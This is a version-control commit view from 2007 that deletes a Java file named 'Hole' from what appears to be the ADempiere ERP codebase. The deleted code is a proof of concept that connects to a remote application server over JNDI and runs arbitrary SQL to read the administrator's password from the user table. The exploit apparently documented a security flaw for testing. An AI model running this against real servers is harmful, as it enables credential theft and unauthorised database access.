This commit is contained in:
trifonnt 2007-05-24 12:17:17 +00:00
parent 77d0b264f1
commit bfe90e9ef6
1 changed files with 0 additions and 40 deletions

View File

@ -1,40 +0,0 @@
package test.security;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.RowSet;
import org.compiere.interfaces.Server;
import org.compiere.interfaces.ServerHome;
import org.compiere.util.CStatementVO;
import org.compiere.util.SecurityToken;
public class Hole {
public static String SERVER = "";
public static int PORT = 1099;
public static void main(String[] args) {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "org.jnp.interfaces.NamingContextFactory");
env.put(Context.PROVIDER_URL, "jnp://" + SERVER + ":" + PORT);
env.put(Context.URL_PKG_PREFIXES, "org.jboss.naming.client");
Context ctx = new InitialContext(env);
ServerHome serverHome = (ServerHome)ctx.lookup("adempiere/Server");
Server server = serverHome.create();
CStatementVO cs = new CStatementVO(1, 1, "SELECT password FROM AD_USER WHERE AD_USER_ID=0;");
RowSet s = server.stmt_getRowSet(cs, SecurityToken.getInstance());
s.next();
System.out.println(s.getString(1));
} catch (Exception e) {
e.printStackTrace();
}
}
}